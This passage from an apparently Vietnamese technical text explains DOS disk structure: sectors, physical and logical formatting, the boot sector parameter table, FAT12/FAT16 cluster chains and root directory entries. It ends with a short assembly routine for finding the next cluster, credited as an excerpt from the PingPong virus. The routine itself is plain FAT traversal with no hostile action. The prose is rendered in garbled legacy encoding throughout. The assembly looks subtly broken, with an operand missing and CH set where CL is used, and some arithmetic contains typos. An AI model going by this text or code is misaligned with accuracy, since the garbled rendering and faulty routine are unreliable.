thuéc tõng m¸y, tuy nhiªn, th−êng tõ 8Kb ®Õn 12Kb trªn mét track. 
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4/ Sector: MÆc dï cã thÓ ®äc/ghi d÷ liÖu lªn ®Üa mét lóc 8 ®Õn 12 Kb, nh−ng trong thùc tÕ, 
kh«ng ai d¸m dïng ®Õn mét khèi l−îng lín ®Õn nh− thÕ. Bé ®iÒu khiÓn ®Üa th−êng ®−îc thiÕt 
kÕ ®Ó cã thÓ ®äc vµ ghi mét lÇn chØ  tõng ph©n ®o¹n cña Track. Sè byte trong mét ph©n ®o¹n, 
®−îc gäi lµ Sector, phô thuéc vµo phÇn cøng mµ cña bé ®iÒu khiÓn ®Üa vµ vµo hÖ ®iÒu hµnh:  
c¸c nhµ thiÕt kÕ sÏ t¹o nh÷ng kÝch th−íc Sector kh¸c nhau vµ hÖ ®iÒu hµnh sÏ chän mét trong 
nh÷ng kÝch th−íc nµy. Th«ng th−êng, c¸c kÝch th−íc nµy lµ 128, 256, vµ 1024 byte. §èi víi hÖ 
®iÒu hµnh DOS, kÝch th−íc ®−îc chän lµ 512 byte cho mçi Sector víi tÊt c¶ c¸c lo¹i ®Üa. 
Trªn ®Üa mÒm 360 Kb, mçi Track cã thÓ ®¹t tíi 10 Sector, tuy nhiªn, v× vÊn ®Ò an toµn d÷ liÖu, 
DOS chØ chän 9 Sector cho mçi Track. ChÝnh v× ®iÒu nµy, sÏ thÊy mét ®Üa 40 Track sÏ cã:  
40Track * 2Side * 9Sector 8 512byte = 360 Kb. 
§èi víi ®Üa cøng, mËt ®é Track trªn mét inch cã thÓ ®¹t ®Õn 600 Track/inch, do ®ã kh¶ n¨ng 
l−u tr÷ d÷ kiÖu cña ®Üa cøng lín h¬n ®Üa mÒm rÊt nhiÒu. 
Lóc nµy, ®Ó tham chiÕu, kh«ng nh÷ng chóng ta ph¶i chØ ra mÆt (Side) vµ Track mµ cßn ph¶i 
chØ ra sè Sector nµo trong Track ®ã. 

5/ §¸nh ®Þa chØ Sector: Khi chóng ta ®� ®¹t ®Õn Track cÇn ®äc/ghi, lµm thÕ nµo ®Ó cã thÓ 
nhËn ra Sector cÇn t×m. Cã hai c¸ch ®Ó ®Þnh vÞ Sector, ®ã lµ : 
 + §¸nh sè Sector b»ng ph−¬ng ph¸p cøng (Hard sectoring):  Nh÷ng lç ®Òu nhau sÏ ®−îc 
bÊm xung quanh ®Üa vµ mçi lç nh− thÕ cã ý nghÜa ®¸nh dÊu sù b¾t ®Çu mét Sector. Ph−¬ng 
ph¸p nµy tá ra kh«ng cßn hiÖu nghiÖm khi tèc ®é truy xuÊt ®Üa ngµy cµng t¨ng. 
+ §¸nh sè Sector mÒm (Soft sectoring): Ph−¬ng ph¸p nµy m� hãa ®Þa chØ cña Sector thµnh d÷ 
liÖu cña Sector ®ã vµ ®−îc g¾n vµo tr−íc mçi Sector. V× Sector ®−îc ®¸nh sè tuÇn tù xung 
quanh Track nªn ®Þa chØ cña nã ®¬n gi¶n lµ c¸c sè liªn tiÕp xung quanh Track (nh−ng ®èi víi 
mét sè ®Üa ®−îc thiÕt kÕ chèng sao chÐp th× ®iÒu nµy kh¸c). 
HiÖn nay, ph−¬ng ph¸p ®¸nh sè mÒm ®−îc dïng réng r�i. Víi ph−¬ng ph¸p nµy, tr−íc khi ®Üa 
®−îc dïng, ®Þa chØ cña Sector ph¶i ®−îc ghi vµo Sector (qu¸ tr×nh nµy ®−îc thùc hiÖn b»ng 
viÖc Format ®Üa). §Þa chØ Sector nµy thùc ra chØ lµ mét phÇn th«ng tin trong d÷ liÖu ë phÇn ®Çu 
Sector, ngoµi ra cßn mét sè th«ng tin kh¸c mµ thiÕt nghÜ r»ng nªu ra ë ®©y chØ lµm rèi cho ®éc 
gi¶. 

6/ Format vËt lÝ: Ghi toµn bé ®Þa chØ Sector, c¸c th«ng tin kh¸c vµo phÇn ®Çu cña Sector ®−îc 
gäi lµ format vËt lÝ hay format ë møc thÊp, v× viÖc nµy ®−îc thùc hiÖn chØ b»ng phÇn cøng cña 
bé ®iÒu khiÓn ®Üa. Trong qu¸ tr×nh format, phÇn mÒm sÏ b¾t bé ®iÒu khiÓn ®Üa tiÕn hµnh format 
víi nh÷ng th«ng sè vÒ kÝch th−íc cña mét Sector ... cßn c«ng viÖc cßn l¹i tù bé ®iÒu khiÓn ®Üa 
ph¶i lµm. 
Format vËt lÝ ph¶i ®−îc thùc hiÖn tr−íc khi ®Üa ®−îc ®−a vµo sö dông. Mét qu¸ tr×nh ®éc lËp 
thø hai - format logic - còng ph¶i ®−îc thùc hiÖn ngay sau ®ã tr−íc khi ®Üa chuÈn bÞ chøa d÷ 
liÖu. ë møc nµy, tïy theo c¸ch tæ chøc cña tõng hÖ ®iÒu hµnh, nã sÏ chia ®Üa thµnh tõng vïng 
t−¬ng øng. 
Trong thùc tÕ, hÇu nh− kh«ng ai chó ý ®Õn vÉn ®Ò nµy v× ®� cã lÖnh Format cña DOS. Tuy 
nhiªn ®Ó gi¶i thÝch c«ng viÖc cô thÓ cña lÖnh nµy th× hÇu nh− Ýt ai quan t©m ®Õn. Cã thÓ gi¶i 
thÝch nh− sau : 
 + Víi ®Üa mÒm:  mét ®Üa cho dï ®� ®−îc format lÇn nµo hay ch−a ®Òu ®−îc ®èi xö “b×nh 
®¼ng “nh− nhau, nghÜa lµ ®Çu tiªn DOS sÏ tiÕn hµnh forrmat vËt lÝ, sau ®ã sÏ lµ format logic 
nh»m khëi t¹o c¸c vïng hÖ thèng vµ d÷ liÖu. 
DÔ thÊy, ®èi víi mét ®Üa ®� qua mét lÇn format, qu¸ tr×nh format vËt lÝ sÏ kh«ng cßn cÇn thiÕt, 
trõ tr−êng hîp muèn format vËt lÝ, do ®ã nÕu chØ cã qu¸ tr×nh format logic sÏ lµm gi¶m thêi 
gian format mét ®Üa. ý t−ëng nµy, thùc tÕ ®� ®−îc c¸c phÇn mÒm chuyªn dông khai  th¸c rÊt 
kÜ. PCformat cña Central point, SafeFormat cña Norrton .... ®Òu cã nh÷ng option cho phÐp chØ 
®Þnh t¸c vô nµy. 
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 + §èi víi ®Üa cøng:  mäi ®Üa cøng tr−íc khi ®−a ra thÞ tr−êng ®Òu ®� ®−îc format vËt lÝ vµ 
do ®ã kh«ng cã mét lÝ do nµo ®Ó format l¹i nÕu kh«ng thÊy cÇn thiÕt. §èi víi tr−êng hîp nµy, 
DOS kh«ng cÇn ph¶i format vËt lý mµ ®¬n gi¶n chØ tiÕn hµnh format logic. Trong tr−êng hîp 
nµy, tèc ®é format trªn ®Üa cøng sÏ rÊt nhanh chø kh«ng × ¹ch nh− trªn ®Üa mÒm. Sau khi ®� 
qua format, ®Üa cña chóng ta giê ®©y ®� s½n sµng chøa d÷ liÖu. 
 
 

II - CÊu Tróc Logic. 

ë phÇn trªn, ta ®� cã ®Ò cËp ®Õn format logic, nh−ng l¹i kh«ng ®−a ra mét chi tiÕt nµo, sau ®©y 
ta sÏ lÇn l−ît xÐt chi tiÕt ®Õn chóng. Râ rµng, ®èi víi mét ®Üa cã dung l−îng lín, viÖc qu¶n lÝ 
d÷ liÖu nh− thÕ nµo cho hiÖu qu¶ vµ nhanh chãng lµ mét vÊn ®Ò phøc t¹p. Do ®ã, mçi hÖ ®iÒu 
hµnh cÇn thiÕt ph¶i tæ chøc cho m×nh mét vµi cÊu tróc nµo ®ã gióp cho viÖc kiÓm so¸t ®Üa ®−îc 
nhanh vµ chÝnh x¸c, cho biÕt phÇn nµo ®� dïng ®Ó chøa d÷ liÖu, phÇn nµo cßn trèng .... C¸ch 
ghi nhí nh÷ng cÊu tróc nh− thÕ lªn ®Üa ®−îc gäi lµ format logic ®Üa. Dï lµ lo¹i ®Üa nµo, DOS 
vÉn tæ chøc ®Üa thµnh c¸c phÇn sau: Boot Sector, b¶ng FAT (file allocation table), Root 
directory vµ phÇn d÷ liÖu (ba phÇn ®Çu ®«i khi ®−îc gäi d−íi tªn Vïng hÖ thèng). 
Trªn ®Üa cøng, víi dung l−îng qu¸ lín, cã thÓ chia thµnh tõng phÇn kh¸c nhau ®−îc gäi lµ 
Partition, do ®ã cßn ph¶i thªm mét phÇn thø 5 Partition table. Sau ®©y, chóng ta sÏ lÇn l−ît 
kh¶o s¸t tõng phÇn mét. 
1/ Boot Sector:  Lu«n chiÕm Sector ®Çu tiªn trªn Track 0, Side 1 cña ®Üa, tuy vËy, ®iÒu nµy 
còng chØ tuyÖt ®èi ®óng trªn c¸c ®Üa mÒm, cßn ®èi víi ®Üa cøng, vÞ trÝ nµy ph¶i nh−êng l¹i cho 
Partition table. 
Boot sector nµy sÏ ®−îc ®äc vµo ®Þa chØ 0:07C00 sau khi m¸y thùc hiÖn xong qu¸ tr×nh POST. 
QuyÒn ®iÒu khiÓn sÏ ®−îc trao l¹i cho ®o¹n m� n»m trong Boot sector. §o¹n m� nµy cã nhiÖm 
vô t¶i c¸c file hÖ thèng vµo nÕu cã. Ngoµi ra, Boot sector cßn chøa mét b¶ng tham sè quan 
träng ®Õn cÊu tróc ®Üa, b¶ng nµy ®−îc ghi vµo trong qu¸ tr×nh format logic ®Üa vµ ngay c¶ ®èi 
víi nh÷ng ®Üa kh«ng  ph¶i lµ ®Üa boot ®−îc . 
a. CÊu tróc cña b¶ng tham sè ®Üa BPB (Bios Parameter Block): B¶ng tham sè nµy ë offset 0B 
cña Boot sector vµ cã cÊu tróc sau : 
 
      

  offset    Size Néi dung  

+0 3 JMP xx:xx LÖnh nh¶y gÇn ®Õn ®Çu ®o¹n m� boot  
+3 8  Tªn c«ng ty hay version. 
+0Bh 2 SectSiz Sè byte 1 sector <--------- Start of BPB. 
+DH 1 ClustSiz Sè sector mçi cluster. 
+Eh 2 ResSecs Sè sector dµnh riªng (sector tr−íc FAT). 
+10h 1 FatCnt Sè b¶ng FAT. 
+11h 2 RootSiz Sè ®Çu vµo tèi ®a cho Root (32 byte cho mçi ®Çu 

vµo). 
+13h 2 TotSecs Tæng sè sector trªn ®Üa (hay partition). 
+15h 1 Media Media descriptor ®Üa (gièng nh− byte ®Çu b¶ng 

FAT. 
+16h 2 FatSize Sè l−îng sector cho mét b¶ng FAT 

           <----------- end of BPB  . 
+18h 2 TrkSecs Sè sector trªn mçi track. 
+1Ah 2 HeadCnt Sè ®Çu ®äc ghi. 
+1Ch 2 HindSec Sè sector dÊu mÆt (®−îc dïng trong cÊu tróc  
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partition). 
+1Eh   §Çu ®o¹n m� trong Boot sector. 

    

+1Ch 4 HindSec Sè sector dÊu mÆt (®� ®−îc ®iÒu chØnh lªn sè 32 bit) 
+20h 4 TotSecs Tæng sè sector trªn ®Üa nÕu gi¸ trÞ ë offset 13h b»ng 

0. 
+24h 1 PhsDsk Sè ®Üa vËt lÝ (0: ®Üa mÒm, 80h: ®Üa cøng) 
+25h 1 Resever Dµnh riªng. 
+26h 1 Dos4_ID KÝ hiÖu nhËn diÖn cña DOS 4.xx (cã gi¸ trÞ 29h). 
+27h 4 Serial Mét sè nhÞ ph©n 32 bit cho biÕt Serial number. 
+2Bh Bh Volume Volume label. 
+36h 8 Reserve Dµnh riªng. 
+3Eh   §Çu ®o¹n m� ch−¬ng tr×nh. 

 
§èi víi DOS 4.xx, do sè l−îng sector qu¶n lÝ ®−îc kh«ng cßn n»m trong giíi h¹n sè 16 bit, do 
®ã gi¸ trÞ trong offset 13h ®� trë nªn ‘chËt hÑp’. B¾t ®Çu tõ DOS 4.xx, cÊu tróc cña b¶ng cã 
mét sè söa ®æi vµ bæ xung nho nhá, tuy vËy, vÉn kh«ng lµm mÊt ®i cÊu tróc tr−íc ®ã. ë ®©y 
chØ cã mét ®iÓm cÇn l−u ý lµ gi¸ trÞ tæng sè sector trªn ®Üa, nÕu sè sector vÉn cßn lµ mét sè 16 
bit, vïng ë offset 13h vÉn cßn dïng ®Õn, trong tr−êng hîp ng−îc l¹i, vïng nµy ph¶i ®−îc g¸n 
lµ 0 vµ gi¸ trÞ míi ®−îc l−u gi÷ t¹i offset 20h (dÔ thÊy c¸c ®Üa mÒm vÉn cã néi dung nh− tr−íc 
®©y). 
b. §o¹n m�:  do Boot sector chØ chiÕm ®óng mét sector, nghÜa lµ chØ cã ®óng 512 byte, trõ ®i 
cho b¶ng tham sè BPB, phÇn cßn l¹i vÉn cßn qu¸ Ýt cho mét ch−¬ng tr×nh tù xoay xë lµm ®ñ 
mäi viÖc. C¸c ®o¹n m� sau d−íi DOS ®Òu lµm c¸c c«ng viÖc sau ®©y: 
  + Thay l¹i b¶ng tham sè ®Üa mÒm (ng¾t 1Eh). 
  + §Þnh vÞ vµ ®äc sector ®Çu tiªn cña Root vµ ®Þa chØ 0:0500h. 
  + Dß t×m vµ ®äc hai file hÖ thèng vµo nÕu cã. 
 Cã thÓ biÓu diÔn b»ng l−u ®å sau 
Thay ng¾t 1Eh 
§äc sector root vµo 
? SYS     ------------ > Non system disk 
N¹p file hÖ thèng vµo 
JMP FAR 070:0 

2/ FAT (file allocation table): §©y lµ mét trong hai cÊu tróc quan träng nhÊt (cÊu tróc thø hai 
lµ Root) mµ DOS khëi t¹o trong qu¸ tr×nh format logic ®Üa. CÊu tróc nµy dïng ®Ó qu¶n lÝ file 
trªn ®Üa còng nh− cho biÕt sector nµo ®� háng. ë møc nµy DOS còng ®−a ra mét sè kh¸i niÖm 
míi : 
a. Cluster:  Khi ®Üa ®−îc format fogic, ®¬n vÞ nhá nhÊt trªn ®Üa mµ DOS cã thÓ qu¶n lÝ ®−îc lµ 
sector (theo DOS tù qui ®Þnh - kÝch th−íc cña mét sector còng ®� cè ®Þnh lµ 512 byte). Nh− 
thÕ, DOS cã thÓ qu¶n lÝ tõng sector mét xem nã cßn dïng ®−îc hay kh«ng. Tuy nhiªn, mét ®Üa 
cã dung l−îng cao (th−êng lµ ®Üa cøng), sè sector qu¸ lín kh«ng thÓ qu¶n lÝ theo c¸ch nµy mµ 
thay vµo ®ã, DOS ®−a ra mét kh¸i niÖm Cluster:  lµ tËp hîp nhiÒu sector, do ®ã, thay v× qu¶n 
qu¶n lÝ nhiÒu sector, DOS b©y giê chØ qu¶n lÝ trªn c¸c cluster. Râ rµng sè l−îng cluster sÏ 
gi¶m ®i nhiÒu nÕu ta t¨ng sè l−îng sector cho mét cluster. 
b. Kh¸i niÖm vÒ FAT:  VÊn ®Ò phøc t¹p vµ then chèt cña viÖc qu¶n lÝ file trªn ®Üa lµ lµm sao 
qu¶n lÝ ®−îc sù thay ®æi kÝch th−íc c¸c file. §©y lµ mét ®iÒu tÊt nhiªn v× khi lµm viÖc víi m¸y, 
®ßi hái ta ph¶i truy xuÊt ®Õn file trªn ®Üa. 
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Gi¶ sö, cã mét file cã kÝch th−íc 2250 byte ®−îc chøa trªn ®Üa cã dung l−îng 1.2 Mb (®èi víi 
lo¹i ®Üa nµy, mét cluster chØ lµ mét sector), ta ph¶i dïng tíi 5 cluster ®Ó chøa file nµy, 4 cluster 
®Çu tiªn ®� chøa 2048 byte, sector cßn l¹i chØ chøa 2250 - 2048 = 202 byte (v× râ rµng, ta 
kh«ng thÓ ghi mét khèi nhá h¬n mét sector). TiÕp theo, file thø hai ®−îc ghi lªn 7 sector kÕ 
®ã. B©y giê, vÊn ®Ò sÏ khã kh¨n nÕu ta muèn bæ xung thªm 460 byte vµo file ®Çu. Lµm thÕ nµo 
cho tèi −u ? Râ rµng, ta chØ cã thÓ bæ xung vµo sector cuèi file mét thªm 512 - 202 = 310 byte, 
nh− thÕ vÉn d− l¹i 460 - 310 = 150 byte mµ kh«ng biÕt ph¶i ®Ó vµo ®©u. Ghi vµo sector thø s¸u 
ch¨ng ? Kh«ng thÓ ®−îc v× sector nµy ®� ®−îc dµnh cho file thø hai råi. C¸ch gi¶i quyÕt t−ëng 
chõng ®¬n gi¶n lµ dêi toµn bé file nµy xuèng mét sector . Tuy nhiªn, ®©y còng kh«ng ph¶i lµ 
mét ph−¬ng ph¸p tèi −u v× nÕu file thø hai chiÕm ®Õn 1Mb. §Ó ghi thªm 150 byte mµ cÇn ph¶i 
dêi (thùc chÊt lµ ph¶i ®äc/ghi l¹i) ®i 1Mb th× thËt lµ qu¸ tèn kÐm vµ kh«ng thiÕt thùc chót nµo. 
Ph−¬ng ph¸p gi¶i quyÕt tèt nhÊt ®� ®−îc DOS ®Ò nghÞ: dïng mét b¶ng l−u tr¹ng th¸i c¸c sector 
(FAT) cho phÐp DOS biÕt ®−îc sector nµo cßn dïng ®−îc, sector nµo ®� dïng ...... do ®ã, dÔ 
t×m ®−îc mét sector nµo ®ã cßn trèng ®Ó ph©n bæ cho file míi. 
Nh−ng ®Ó qu¶n lÝ nh÷ng sector nh− thÕ cÇn qu¸ nhiÒu byte cho FAT. Gi¶ sö mét ®Üa cøng cã 
dung l−îng 32 Mb sÏ cã kho¶ng 64 Kb sector (32Mb/512byte). NÕu mét sector cÇn ph¶i tèn 
®Õn 2 byte ®Ó qu¶n lÝ th× ph¶i mÊt 2*64=128Kb cho b¶ng FAT. ThÕ nh−ng, ®Ó tiÖn cho viÖc 
truy xuÊt, phÇn lín FAT sÏ ®−îc t¶i vµo bé nhí trong, nh− thÕ kÝch th−íc qu¸ lín còng lµm 
gi¶m ®i tèc ®é truy xuÊt. V× vËy, ®©y còng lµ lý do mµ DOS ®� ®−a ra kh¸i niÖm cluster nh»m 
gi¶m bít ®¸ng kÓ kÝch th−íc cña FAT. 
Lµ mét s¶n phÈm cña DOS, hä cã toµn quyÒn ®Þnh ®o¹t ®Ó cã bao nhiªu sector cho mét 
cluster, do vËy, sè nµy sÏ thay ®æi tuy thuéc vµo dung l−îng cña ®Üa sao cho tèi −u nhÊt. Víi 
c¸c ®Üa mÒm, th−êng sè sector cho mét cluster tõ 1 ®Õn 2 sector, trªn ®Üa cøng, con sè nµy lµ 4 
hay 8. 
c. §¸nh sè sector - ®¸nh sè cluster:  Nh− ta ®� biÕt, bé ®iÒu khiÓn ®Üa tham chiÕu mét sector 
trªn ®Üa  th«ng qua 3 tham sè:  Cylinder, Head, vµ Sector (v× vËy, ®«i khi nã cßn ®−îc biÕt 
d−íi tªn gäi hÖ 3 trôc to¹ ®é). Tuy nhiªn, hÖ trôc nµy l¹i kh«ng thuËn lîi cho ng−êi sö dông v× 
hä ch¼ng cÇn ph¶i biÕt cÊu tróc chi tiÕt cña ®Üa: gåm bao nhiªu Track, bao nhiªu head, còng 
nh− bao nhiªu sector trªn mét Track ra sao. §Ó tr¸nh sù bÊt tiÖn nµy, DOS tiÕn hµnh ®Þnh vÞ d÷ 
liÖu trªn ®Üa chØ theo mét chiÒu:  sector. DOS ®¬n gi¶n lµ ®¸nh sè sector lÇn l−ît b¾t ®Çu tõ 
sector 1, Track 0, head 0 cho ®Õn hÕt sè sector trªn track nµy, råi chuyÓn sang sector 1 cña 
Side 1. TÊt c¶ c¸c sector cña mét Cylinder sÏ ®−îc ®¸nh sè tuÇn tù tr−íc khi DOS chuyÓn sang 
track kÕ. ViÖc  ®¸nh sè nµy thùc chÊt còng nh»m tèi −u viÖc di chuyÓn ®Çu ®äc cña ®Üa, khi ®� 
hÕt sector trªn track nµy míi chuyÓn ®Çu ®äc sang track kÕ. (V× lÝ do nµy, mét sè phÇn mÒm ®� 
t×m c¸ch dån file l¹i trªn c¸c sector liªn tiÕp nh»m  t¨ng tèc ®é truy xuÊt còng nh− kh¶ n¨ng 
kh«i phôc file khi bÞ sù cè nh− SpeedDisk cña Norton Untility). C¸ch ®¸nh sè nh− vËy ®−îc 
gäi lµ ®¸nh sè sector logic, kh¸c víi sector vËt lÝ, sector logic b¾t ®Çu ®Õm tõ 0. 
Mét khi sector ®� ®−îc ®¸nh sè, cluster còng ®−îc ®¸nh sè theo. Nh− ta ®� biÕt:  FAT chØ qu¶n 
lÝ nh÷ng cluster ®Ó l−u chøa d÷ liÖu nªn cluster b¾t ®Çu ®−îc ®¸nh sè tõ nh÷ng sector ®Çu tiªn 
cña phÇn d÷ liÖu. NÕu ®Üa ®−îc qui ®Þnh 2 sector cho mét cluster th× hai sector ®Çu tiªn cña 
phÇn d÷ liÖu (phÇn b¾t ®Çu ngay sau Root) sÏ ®−îc ®¸nh sè lµ 2, hai sector kÕ tiÕp lµ cluster 3 
vµ cø thÕ cho ®Õn hÕt. 
V× vËy, nÕu mét ®Üa cã 15230 cluster cho phÇn d÷ liÖu th× sector cuèi cïng cña ®Üa sÏ ®−îc 
®¸nh sè 15231. 
d. Néi dung cña FAT:  Mçi cluster trªn ®Üa ®−îc DOS qu¶n lÝ b»ng mét entry (®Çu vµo), hai 
entry ®Çu tiªn ®−îc dïng ®Ó chøa th«ng tin ®Æc biÖt:  byte nhËn d¹ng (®©y còng lµ lÝ do cluster 
®−îc ®¸nh sè tõ 2), entry thø 3 chøa th«ng tin vÒ cluster 2, cø thÕ tiÕp tôc.... Khi format logic 
®Üa, trong khi x©y dùng FAT, DOS sÏ lÇn l−ît tiÕn hµnh ®äc tõng sector lªn, nÕu gÆp lçi øng 
víi cluster nµo, cluster ®ã sÏ ®−îc ®¸nh dÊu lµ háng. 
Khi qu¶n lÝ file, lµm sao DOS cã thÓ biÕt nh÷ng cluster nµo lµ cña file nµo? RÊt ®¬n gi¶n:  gi¸ 
trÞ entry cña cluster nµy chøa gi¸ trÞ lµ sè thø tù entry tiÕp theo nã, cø thÕ, c¸c cluster cña file 
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t¹o thµnh mét chuçi (chain) cho ®Õn khi gÆp dÊu hiÖu kÕt thóc. Tïy theo kÝch th−íc cña entry 
lµ 12 hay 16 bit, gi¸ trÞ cña cluster cã thÓ biÕn thiªn theo b¶ng : 
Gi¸ trÞ   ý nghÜa 
0    Cluster cßn trèng, cã thÓ ph©n bæ ®−îc. 
(0)002-(F)FEF Cluster ®ang chøa d÷ liÖu cña mét file nµo ®ã 
(0)002     gi¸ trÞ cña nã lµ sè cluster kÕ tiÕp trong chain 
(F)FF0-(F)FF6 Dµnh riªng kh«ng dïng 
(F)FF7   Cluster háng 
(F)FF8-(F)FFF Cluster cuèi cïng cña chain 
   Mét vÝ dô nh»m minh häa chain trong FAT: 
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 
00 ID FF 03 04 05 FF 00 00 09 0A 0B 15 00 00 00 00 
10 00 00 00 00 00 16 17 19 F7 1A 1B FF 00 00 00 00 
 
Trong vÝ dô trªn, ‘entry’ 0 vµ 1 ®−îc dµnh riªng cho byte nh©n diÖn: FDh (®Üa 360Kb), gi¸ trÞ 
cña cluster 2 trá ®Õn cluster 3, gi¸ trÞ cña cluster 3 trá ®Õn cluster 4 ... cho ®Õn khi cluster 5 
chøa gi¸ trÞ lµ 0FFh cho biÕt ®� lµ cuèi file, cluster 6 vµ 7 cã gi¸ trÞ 0 cho biÕt hai cluster nµy 
ch−a dïng tíi, cã thÓ ph©n bæ nÕu cÇn. Cluster 18 cã gi¸ trÞ 0F7h cho biÕt ®� ®¸nh dÊu bá. Tuy 
nhiªn, ë ®©y l¹i xuÊt hiÖn mét c©u hái kh¸c: lµm sao x¸c ®Þnh cluster nµo b¾t ®Çu mét file? 
(còng lµ ®Çu vµo mét chain) vµ kÝch th−íc thËt sù cña file (v× râ rµng sector cuèi cïng kh«ng 
dïng hÕt). §iÒu nµy sÏ ®−îc DOS ®Ò cËp ®Õn trong cÊu tróc tiÕp theo - cÊu tróc Root. 
e. Ph©n lo¹i FAT - §Þnh vÞ cluster:  Gi¶ sö ta cã mét ®Üa 360 Kb, cã kho¶ng 720 sector, nÕu sö 
dông 2 sector cho mét cluster, vµ nh− thÕ tèi ®a còng chØ 720/2=360 cluster. §Ó qu¶n lÝ sè 
l−îng entry kh«ng lín l¾m nµy, ta ph¶i cÇn ®Õn mét entry bao nhiªu bÝt ? 
Râ rµng, víi kÝch th−íc mét byte, ta kh«ng thÓ qu¶n lÝ ®−îc v× gi¸ trÞ tèi ®a mµ mét byte cã 
thÓ biÓu diÔn ®−îc lªn tíi tèi ®a 255 < 360. Nh−ng nÕu dïng mét word ®Ó biÓu diÔn th× l¹i qu¸ 
thõa v× gi¸ trÞ tèi ®a cña nã lªn tíi 65535. TÊt nhiªn lµ qu¸ lín so víi 360 cluster mµ ta ®Þnh 
biÓu diÔn. C¸ch tèt nhÊt lµ lÊy kÝch th−íc trung gian:  12bit (mét byte r−ìi). Râ rµng, kÝch 
th−íc nµy rÊt xa l¹ víi mäi ng−êi, kÓ c¶ nh÷ng th¶o ch−¬ng viªn hÖ thèng v× chØ cã kh¸i niÖm 
byte, bit, word hay thËm chÝ double word mµ th«i. Dï vËy, kh¸i niÖm FAT12 bit nµy vÉn ®−îc 
dïng cho ®Õn nay do tÝnh hiÖu qu¶ cña nã trªn c¸c ®Üa cã dung l−îng nhá. Víi 12 bit cã thÓ 
qu¶n lÝ tèi ®a 4095 cluster, sè nµy kh«ng ph¶i lµ nhá. 
Tuy nhiªn, víi sù ra ®êi cña c¸c ®Üa cøng dung l−îng cao:  20Mb, 40 Mb .... ®� lµm xuÊt hiÖn 
nh−îc ®iÓm cña FAT12:  chØ qu¶n lÝ tèi ®a 4095 cluster, do ®ã víi sè l−îng sector trªn ®Üa 
cµng nhiÒu th× chØ cã mét c¸ch gi¶i quyÕt lµ t¨ng sè l−îng sector trong mét cluster. Nh−ng 
c¸ch nµy còng kh«ng ph¶i lµ tèi −u v× sè byte cÊp ph¸t thõa cho 1 file sÏ t¨ng lªn nhanh khi sè 
sector trong cluster t¨ng lªn. V× lÝ do nµy, FAT 16 bit ®� ra ®êi vµ sè l−îng cluster qu¶n lÝ 
®−îc ®� t¨ng lªn 65535 cluster. 
Víi sù xuÊt hiÖn cña hai lo¹i FAT, vÊn ®Ò l¹i trë nªn phøc t¹p:  c¸ch ®Þnh vÞ hai lo¹i FAT nµy 
hoµn toµn kh¸c nhau. Tuy vËy cã thÓ tÝnh to¸n nh− sau : 
* §èi víi FAT 16 bit:  mçi entry cña cluster chiÕm hai byte nªn vÞ trÝ cña cluster tiÕp theo sÏ 
b»ng gi¸ trÞ cluster hiÖn thêi nh©n hai. 
* §èi víi FAT 12 bit:  v× mçi entry chiÕm 1.5 byte nªn vÞ trÝ cña cluster tiÕp theo trªn FAT 
b»ng gi¸ trÞ cluster hiÖn thêi nh©n víi 1.5. 
Nh−ng gi¸ trÞ tiÕp theo ph¶i ®−îc tÝnh  l¹i v× nã chØ chiÕm 12 bit trong khi gi¸ trÞ lÊy ra lµ 1 
word (trong c¸c lÖnh m¸y, rÊt tiÕc kh«ng cã lÖnh nµo cho phÐp lÊy mét gi¸ trÞ 12 bit c¶). C¸ch 
gi¶i quyÕt nh− sau : 
 + NÕu sè thø tù sè cluster lµ ch½n, gi¸ trÞ thùc tÕ lµ 12 bit thÊp. 
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 + NÕu sè thø tù sè cluster lµ lÎ, gi¸ trÞ thùc tÕ lµ 12 bit cao. 
TÊt c¶ c¸c ®Üa mÒm vµ nh÷ng ®Üa cøng cã dung l−îng d−íi 12Mb vÉn cßn dïng FAT 12 bit. 
§o¹n m� sau minh häa c¸ch ®Þnh vÞ cluster: 
LocateCluster proc near 
;Chøc n¨ng: tiÕn hµnh ®Þnh gi¸ trÞ cña cluster kÕ trong FAT_Buffer ®−a vµo sè cluster vµ ;lo¹i 
FAT trong biÕn FAT_type, bit 2 cña biÕn nµy = 1 cho biÕt lo¹i FAT lµ 16 bit. 
;Vµo SI = sè cluster ®−a vµo. 
;Ra DX = sè cluster tiÕp theo. 
mov  AX, 3 
test  FAT_type     ;FAT thuéc lo¹i nµo 
je  FAT_12     ;NÕu 12bit sÏ nh©n víi 3 
inc  AX      ;NÕu 16bit sÏ nh©n víi 4 
FAT_12: 
mul  SI 
shr  AX, 1     ;Chia l¹i cho 2 ®Ó ra ®óng sè 
mov  BX, AX 
mov  DX, FAT_buffer[BX]   ;DX=gi¸ trÞ cña cluster kÕ 
test  FAT_type, 4    ;FAT thuéc lo¹i nµo? 
jne  FAT_16     ;NÕu lµ FAT 12 sÏ tÝnh tiÕp 
mov  ch, 4 
test  SI, 1      ;Cluster ®−a vµo lµ ch½n hay lÎ 
je  chan 
shr  DX, CL     ;ChuyÓn 4 bit cao thµnh thÊp 
Chan: 
and  DH, 0Fh     ;T¾t 4 bit cao 
FAT_16: 
ret 
 Locate_cluster  endp 
 (TrÝch PingPong virus). 

 

3/ Root directory: Lµ cÊu tróc bæ xung cho FAT vµ n»m ngay sau FAT. NÕu FAT nh»m môc 
®Ých qu¶n lÝ ë møc thÊp: tõng sector, xem nã cßn dïng ®−îc hay kh«ng, ph©n phèi nÕu cÇn th× 
Root directory kh«ng cÇn quan t©m mµ chØ nh»m qu¶n lÝ file, mét kh¸i niÖm cao h¬n, mµ 
kh«ng cÇn biÕt nã gåm nh÷ng sector nµo. Root cã nhiÖm vô l−u gi÷ th«ng tin vÒ file trªn ®Üa. 
Mçi file ®−îc ®Æc tr−ng bëi mét ®Çu vµo trong Root Dir. Kh«ng nh− FAT, mçi entry cña Root 
Dir cã kÝch th−íc x¸c ®Þnh 32 byte l−u gi÷ nh÷ng th«ng tin sau : 
 

Offset K/th−íc Néi dung 

+0 8 Tªn file, ®−îc canh tr¸i 
+8 3 PhÇn më réng, ®−îc canh tr¸i 
+0Bh 1 Thuéc tÝnh file 
+0Ch 0Ah Dµnh riªng 
+16h 2 Thêi gian t¹o hay bæ xung sau cïng 
18h 2 Ngµy t¹o hay bæ xung sau cïng 
1AH 2 Sè cluster b¾t ®Çu cña file trong FAT  
1Ch 4 KÝch th−íc file (byte) 



www.updatesofts.com 

 15 

 
Thuéc tÝnh file:  m« t¶ thuéc tÝnh mµ file sÏ mang, nh÷ng thuéc tÝnh nµy lµ Read Only, 
